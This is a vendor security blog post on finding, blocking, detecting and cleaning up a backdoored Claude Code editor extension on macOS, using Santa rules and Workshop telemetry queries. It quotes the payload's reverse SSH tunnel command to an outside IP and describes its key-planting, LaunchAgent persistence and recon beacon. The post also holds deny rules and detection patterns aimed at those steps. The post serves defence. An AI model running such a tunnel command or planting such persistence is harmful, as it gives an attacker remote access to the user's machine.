Closing the Tunnel: Santa and Workshop vs. the Claude Code Extension Backdoor
How to find, block, detect, and contain the backdoored Claude Code for VS Code extension
Earlier today, Phorion published a teardown of a modified, backdoored build of Anthropic’s Claude Code extension that was distributed through Open VSX, which is where Cursor and other VS Code-compatible editors get their extensions. The affected package has since been pulled, but we can show you what Santa and Workshop can do about it: how to find exposed Macs, how to stop each stage with rules today, how to detect it with Signals, and how to contain a Mac that already ran it.
What the payload does
When the compromised payload runs, it does the following:
- Appends an attacker key to
~/.ssh/authorized_keys, - Tries to turn on Remote Login, opens a reverse SSH tunnel to
134.209.82.225 - Installs a user LaunchAgent disguised as
com.apple.sysmondto keep the tunnel alive - Sends a beacon to host recon, including the names of credential-looking environment variables, to port 8099 on the same IP
There’s no exploit or new binaries, and everything it uses is a stock macOS tool, so let’s be upfront about where binary authorization helps and where it doesn’t. Santa decides what is allowed to execute. Because the malicious code here is JavaScript and runs inside the editor, which is almost certainly allowed, Santa never sees a new execution. So even if Santa is in Lockdown Mode, that step won’t be blocked.
What Santa does see is everything the payload has to do next. To get anything done, the script must:
- Spawn processes (
/bin/sh -c,systemsetup,ssh,pgrep,launchctl,git) - Write files in places the extension would never write to (
~/.ssh/authorized_keys,~/Library/LaunchAgents/,~/.config/.smt) - Open network connections (SSH and HTTP)
Each of those are actions that Santa can prevent with execution authorization with CEL, file access rules, and network rules.
Keep the bad version from installing
Santa can’t stop extension.js from running once it’s on disk, but it can stop it from getting on to the disk. Editors install each extension version into its own directory, such as ~/.cursor/extensions/anthropic.claude-code-2.1.313-darwin-arm64. A file access rule that lets no process create anything at that path means the editor’s install fails, and the backdoored bundle never lands:
rule_type: PathsWithAllowedProcesses
path_prefixes:
- "/Users/*/.vscode/extensions/anthropic.claude-code-2.1.313"
- "/Users/*/.cursor/extensions/anthropic.claude-code-2.1.313"
- "/Users/*/.windsurf/extensions/anthropic.claude-code-2.1.313"
options:
allow_read_access: false
audit_only: false
block_message: "Claude Code for VS Code 2.1.313 was compromised and is blocked. Update to a newer version."
processes: []
This is the easiest control you can ship right now — it’s one rule, it has no false positives, and it protects every Mac that hasn’t installed the version yet, including ones that sync a stale extension list from Settings Sync or a teammate’s recommended extensions.
The same pattern will work for new compromised extensions, too. As soon as a bad extension version is identified, block its directory on the whole fleet while you work out the rest. It’s an IOC rule, though, so it does nothing for Macs that already have the version installed. For those, keep reading.
Find out who installed it
The first question during an incident like this is “which Macs had it?” Workshop’s Package inventory command answers that directly. Run it from Hosts → Commands → Run command → Package inventory with the “Baseline” profile and “Scan all user home directories” checked. Each Mac scans every user’s editor extension folders and uploads one row per package. Editor extensions land in the packages telemetry table under the editor-extension ecosystem, so one query covers VS Code, Cursor and Windsurf:
-- Workshop telemetry query
SELECT Hostname, PackageManager, PackageName, Version, SourceFile, EventTime
FROM packages_202610
WHERE Ecosystem = 'editor-extension'
AND NormalizedName = 'anthropic.claude-code'
AND Version = '2.1.313'
ORDER BY EventTime DESC
However, inventory telemetry only tells you what’s installed now. To find Macs where the payload already ran (since someone might have since updated or removed the extension), query the execution telemetry for the payload’s process activity. The injected code shells out through child_process, so its commands show up as ordinary executions with the editor’s helper upstream:
-- Workshop telemetry query
SELECT EventTime, Hostname, Target.Executable.Path, Args
FROM execution_20261030
WHERE array_to_string(Args, ' ') LIKE '%134.209.82.225%'
OR array_to_string(Args, ' ') LIKE '%/.stk_%'
OR array_to_string(Args, ' ') LIKE '%.config/.smt%'
OR array_to_string(Args, ' ') LIKE '%svc-telemetry%'
OR array_to_string(Args, ' ') LIKE '%systemsetup -getremotelogin%'
-- NOTE: systemsetup -getremotelogin is important, see below
ORDER BY EventTime DESC
That last bit is worth pointing out. Phorion found that the macOS Remote Login check is broken – if you run as a standard user, systemsetup -getremotelogin prints an admin-access error instead of Off, so the payload never tries to enable Remote Login. That means you often won’t see -setremotelogin on in your telemetry, but instead you’ll see the failed -getremotelogin probe because it executes regardless, and a VS Code or Cursor helper asking whether SSH is on is not something you’ll find on a healthy developer Mac.
Pair both queries with network_activity for connections to 134.209.82.225 on ports 22 and 8099, and with launch_item rows whose ItemPath ends in com.apple.sysmond.plist. Between inventory, process, network and launch item telemetry, you have the full list of affected Macs and how far the chain got on each.
Mark the extension’s helper process
Most of the rules we’ll talk about next need to answer the question, “Did this process come from an editor extension?” Walking ancestors in every rule works for a foreground process tree, but this payload deliberately breaks it by spawning its tunnel loop detached so it outlives the editor. Once the IDE exits, those processes are reparented to launchd, and an ancestor check on ssh finds nothing.
Process annotations, new in Santa 2026.9, fix exactly this. Simply add a CEL rule on each editor’s extension helper process that allows it and marks it:
// SIGNINGID rule on the editor's extension host helper
// (one rule per editor: VS Code, Cursor, Windsurf)
add_annotation(['ide-ext-host-{session}', 'ide-ext-host'], ALLOWLIST)
The mark follows every process the extension host forks or execs. It survives reparenting because Santa adds annotations to the child at fork time. Everything the backdoor spawns, from the first /bin/sh -c systemsetup -getremotelogin to the detached ssh retry loop still running after the editor quits, carries the ide-ext-host annotation. The {session} variant gives each extension host run its own name, so in Workshop’s Events view you can filter on one annotation and see exactly what a single editor session spawned.
Two caveats before you rely on it: First, confirm the helper you annotate is the extension host and not the editor’s integrated terminal’s pty host. If your editor spawns terminal shells from the same helper, every command a developer types will carry the mark, and the rules below need to account for that. Second, some legitimate extensions spawn processes too: Remote-SSH runs ssh, language servers run compilers, Git integrations run git. Every rule below that keys on the annotation should ship as AUDIT first.
Keep the extension host out of ~/.ssh
The backdoor’s first move is to call fs.appendFileSync on ~/.ssh/authorized_keys. This is exactly the case file access rules are built for.
Make the rule process-centric, name the extension host helpers, and deny them the paths they should never write to. A legitimate extension has no reason to touch these paths:
rule_type: ProcessesWithDeniedPaths
path_prefixes:
- "/Users/*/.ssh/authorized_keys"
- "/Users/*/.ssh/authorized_keys2"
- "/Users/*/Library/LaunchAgents/"
options:
allow_read_access: true
audit_only: true
processes:
- signing_id: "<VS Code extension host helper signing ID>"
- signing_id: "<Cursor extension host helper signing ID>"
- signing_id: "<Windsurf extension host helper signing ID>"
With audit_only: true, the rule only logs these writes and does not block them. Ship it that way first, then set audit_only: false so it actually denies the writes.
If you already followed our guidance on the Shai-Hulud worm and protect ~/.ssh/ with a data-centric file access rule, you can add authorized_keys to it with writes restricted to the handful of tools your admins actually use to manage keys. Either way, on Santa 2026.9+, set the rule’s parent directory protection to enforce once you’ve tested it. The default, audit, already logs a process that renames ~/.ssh (or ~/Library, or the home folder) to write to the moved copy. enforce blocks it. (Full file access rule docs are here.)
Prevent remote login
The next stage of the malware is turning on Remote Login. Phorion’s bug analysis shows this step doesn’t reliably happen, but the next build will probably fix it, so we’ll treat it as live.
A CEL expression for a binary rule on systemsetup can make any Remote Login change require Touch ID, which requires someone to physically be at the Mac, and can audit the probe when it comes from an extension:
// SIGNINGID rule on platform:com.apple.systemsetup
args.exists(a, a.lowerAscii() == '-setremotelogin')
? REQUIRE_TOUCHID_ONLY
: (has_annotation('ide-ext-host') ? AUDIT : ALLOWLIST)
A background script can’t satisfy a Touch ID prompt, and a developer who sees one appear while their editor loads will know something is wrong (hopefully). You can also use REQUIRE_PRESENCE_ONLY for desktop Macs that have security keys.
Block privileged access
The final part of the first stage of the malware is to call is sudo -n, which only succeeds if the user already has passwordless or cached sudo. Workshop’s endpoint privilege management removes standing admin rights and replaces them with time-boxed, audited elevation from the menu bar. No standing admin privileges means no cached sudo for sudo -n to use.
Break the reverse tunnel
The malware sets up the SSH tunnel with ssh -N -R '*:0:localhost:22' tunnel@134.209.82.225, wrapped in a detached retry loop, authenticating with a private key dropped into $TMPDIR/.stk_<hash>. The operator’s server allocates a port and forwards it back to the Mac’s own sshd. Since /usr/bin/ssh is a built-in platform binary, Lockdown Mode alone won’t stop it, but CEL expressions can. Thanks to process annotations and the ide-ext-host mark we added earlier, this malicious ssh process can be blocked easily:
// SIGNINGID rule on platform:com.apple.ssh
// (add the same expression on autossh if you allowlist it)
args.exists(a, a.startsWith('-R')) &&
(has_annotation('ide-ext-host') ||
args.exists(a, a.contains('/.stk_') || a.endsWith('/.config/.smtk')))
? BLOCKLIST
: ALLOWLIST
The annotation branch catches the first tunnel that the extension host spawns. The key path branch catches the copy the LaunchAgent starts after a reboot, which has launchd as its parent and no annotation.
You could go even further and treat any remote forwarding that points back at the Mac’s own sshd as a reverse shell, regardless of who launched it. Legitimate uses are rare enough that requiring presence is probably reasonable:
args.exists(a, a.startsWith('-R')) &&
args.exists(a, a.contains('localhost:22') || a.contains('127.0.0.1:22'))
? REQUIRE_TOUCHID_ONLY // (or REQUIRE_PRESENCE_ONLY)
: ALLOWLIST
Network rules can give you an extra layer of protection. A single remote-only network rule cuts off both the tunnel and the beacon across the fleet, whatever process tries:
| Rule | Action | Remote | Ports | Direction |
|---|---|---|---|---|
vsx-backdoor-c2 | Silent Deny | 134.209.82.225/32 | any | Outgoing |
ssh-egress-audit | Audit | 0.0.0.0/0, ::/0 | 22 | Outgoing |
Of course, the IP-specific rule is only a stopgap since the operator will move. The SSH rule is more durable since it will reveal where your developers’ Macs actually connect to. For most engineering orgs, that’s probably a short list of bastion servers and git hosts. Once you know it, outbound SSH to an arbitrary cloud IP is something you can deny outright, which kills this tunnel and the next one that copies its design.
Deny the LaunchAgent
The payload creates a LaunchAgent to survive reboots. It creates ~/.config/.smt (a shell script with the tunnel key embedded), ~/Library/LaunchAgents/com.apple.sysmond.plist with RunAtLoad and KeepAlive, and loads it with launchctl. The file access rule from the first stage already denies the extension host writes under ~/Library/LaunchAgents/, so the plist never lands. But two more rules can make sure a fixed or variant payload doesn’t get around that.
First, stop extension-spawned processes from loading launch items. If the payload falls back to writing the plist with cp or tee, the write comes from a child process rather than the extension host, but that child carries the ide-ext-host process annotation we added earlier and so does the launchctl that follows:
// SIGNINGID rule on platform:com.apple.xpc.launchctl
has_annotation('ide-ext-host') &&
args.exists(a, a in ['load', 'bootstrap', 'enable', 'kickstart'])
? BLOCKLIST
: ALLOWLIST
Second, refuse to run hidden scripts out of dot directories in the home folder. Nothing legitimate on a typical fleet runs /bin/sh ~/.config/.something, and this breaks the persistence loop even on a Mac that was compromised before your rules arrived:
// SIGNINGID rule on platform:com.apple.sh (repeat for bash and zsh)
args.exists(a, a.matches('^/Users/[^/]+/\\.[^/]+/\\.[^/]+$'))
? AUDIT
: ALLOWLIST
Run that one in AUDIT for a week, check what it catches, then flip it to BLOCKLIST.
Finally, for detection, two Workshop signals will alert you to what Phorion called out as the strongest persistence indicators: a user LaunchAgent wearing an Apple label, and a LaunchAgent whose program is a shell.
// Signal 1: user LaunchAgent impersonating Apple
has(event.launch_item) &&
event.launch_item.Action == 'ACTION_ADD' &&
event.launch_item.ItemPath.matches('^/Users/[^/]+/Library/LaunchAgents/com\\.apple\\.')
// Signal 2: user LaunchAgent that runs a shell
has(event.launch_item) &&
event.launch_item.Action == 'ACTION_ADD' &&
event.launch_item.ItemPath.startsWith('/Users/') &&
event.launch_item.ExecutablePath in ['/bin/sh', '/bin/bash', '/bin/zsh']
Apple doesn’t ship LaunchAgents in user home directories. Either signal firing deserves a look, whatever extension or installer caused it.
Catching the reconnaissance
The last stage transmits the hostname, username, git email address, public IP (via ipify.org), and up to 40 environment variable names matching certain patterns back to the operator’s server. Most of it happens inside the extension host’s own memory where no endpoint agent can intervene, so our rules for this stage must be about detection.
The public IP lookup is a good tell. IP-lookup services are a classic malware habit and an odd thing for an editor to need. DNS rules (added in Santa 2026.9) can audit those names fleet-wide without breaking anything, and a Workshop signal can flag editor helpers that use them:
// Signal: editor process looking up its own public IP
has(event.dns_activity) &&
event.dns_activity.Name in ['ifconfig.me', 'api.ipify.org', 'icanhazip.com', 'ipinfo.io'] &&
event.dns_activity.Process.CodeSignature.SigningID in ['com.microsoft.VSCode.helper', 'com.todesktop.230313mzl4w4u92.helper', 'com.exafunction.windsurf.helper']
The highest-confidence detection ties stages together. Any write to authorized_keys followed within minutes by an ssh with a remote forward on the same Mac is a reverse shell being stood up, whatever delivered it. Workshop Signals’ sequence() (Santa 2026.8+) expresses that directly. The first stage keys on the file_access event that a file access rule logs, so it needs a rule covering authorized_keys. The Protect SSH Keys rule pack covers writes from any process it does not allow. The Stage 1 rule above covers only the extension host helpers.
// Signal: write to authorized_keys, then a reverse tunnel
(has(event.file_access) &&
event.file_access.Target.Path.endsWith('/.ssh/authorized_keys') &&
sequence(1, 2, duration('10m'), [event.file_access.Hostname])) ||
(has(event.execution) &&
event.execution.Target.Executable.Path.endsWith('/ssh') &&
event.execution.Args.exists(a, a.startsWith('-R')) &&
sequence(2, 2, duration('10m'), [event.execution.Hostname]))
On the credential side, the beacon only sends variable names, but it tells the operator which Macs are worth coming back to. If you haven’t yet, the file access rules from our Shai-Hulud post for ~/.aws, ~/.kube, ~/.npmrc, ~/.claude and friends are the best preparation for an operator who does come back with a shell.
If a Mac already ran it
As Phorion points out, uninstalling the extension removes nothing the payload dropped. Here’s how to contain an affected Mac with Workshop and clean it up:
- Tag the affected Macs. Use the hosts you identified in the first to create a tag for the incident. Tags let you push the strictest versions of the rules above (blocking rather than auditing) to just those Macs while the rest of the fleet gets audited.
- Cut the network path. Push the
vsx-backdoor-c2deny rule to the global tag. The persistence loop retries every minute and every new attempt is refused. A tunnel already established before the rule arrived can stay up until it drops, so a reboot after the rules land is the clean way to sever it. - Starve the tunnel key. Add a blocking file access rule with no allowed processes and reads denied, covering the persisted key at
/Users/*/.config/.smtkand the dropped key under the prefixes/private/var/folders/*/*/T/.stk_and/private/tmp/.stk_. Even if the IP changes in a variant,sshcan’t load the key it needs to authenticate to the operator’s server. - Block the loop from executing. Switch the
sshand hidden-scriptshrules toBLOCKLISTon the incident tag. After a reboot, the LaunchAgent fires, and every process it tries to run is denied. - Check whether anyone came in. Because inbound sessions arrive through the local port forward, a successful login in
open_sshtelemetry from a loopback source on an affected Mac means the operator used the tunnel.network_activitytelemetry rows for the tunnel flow with substantialBytesInboundare a second indicator. - Clean up with your MDM. Remove
~/Library/LaunchAgents/com.apple.sysmond.plist(afterlaunchctl bootout),~/.config/.smt,~/.config/.smtkand$TMPDIR/.stk_*. Remove the planted key fromauthorized_keysby its fingerprint (SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk), not just thesvc-telemetrycomment, and confirm Remote Login is off. Workshop’s webhooks or API can be used to send the list of hosts to your MDM or ticketing system. - Rotate credentials for any Mac where Remote Login was on or step 5 found a login, starting with whatever the beaconed environment variable names point at.
- Leave the rules in place. The file access,
systemsetup,launchctlandsshrules describe things an editor extension should never do, and they’ll catch the next variant too.
What this guide doesn’t cover
Santa won’t stop a malicious extension.js from loading, and it can’t see what the extension host reads from its own environment. The defense starts at the first thing the payload does outside its own process.
Santa and Workshop also don’t delete files or kill running processes for you. That’s your MDM’s job, and this post is only about macOS. The same payload targets Linux and Windows.
The extension supply chain deserves its own controls. Pin or allowlist extensions through your editors’ managed settings, and consider a cooldown period for new versions similar to how you’d hold back new npm releases. Then use Workshop’s Package Inventory command so the next “Who has version X?” question takes a minute instead of a day.
The pattern keeps repeating
This is the second widely used editor extension trojaned this year after Nx Console in May. Both run the same way: get code into a trusted, signed process, then use stock tools to do the damage. You can’t allowlist your way out of the first half, but you can make the second half fail at every step.
If you want help putting these rules in place, talk with us, or start with the cookbook.
You may also like
Starving Shai-Hulud
The Shai-Hulud npm worm keeps coming back for developer credentials. Here is how Santa file access rules cut off its harvest.
Blocking OpenClaw
OpenClaw (formerly Clawdbot and Moltbot) is an autonomous AI agent for macOS. Here's how to block every version with layered Santa CEL rules.
Announcing Santa and Workshop 2026.9
Santa and Workshop 2026.9 add process annotations that make Lockdown livable for developers, DNS rules, security key approvals, and much more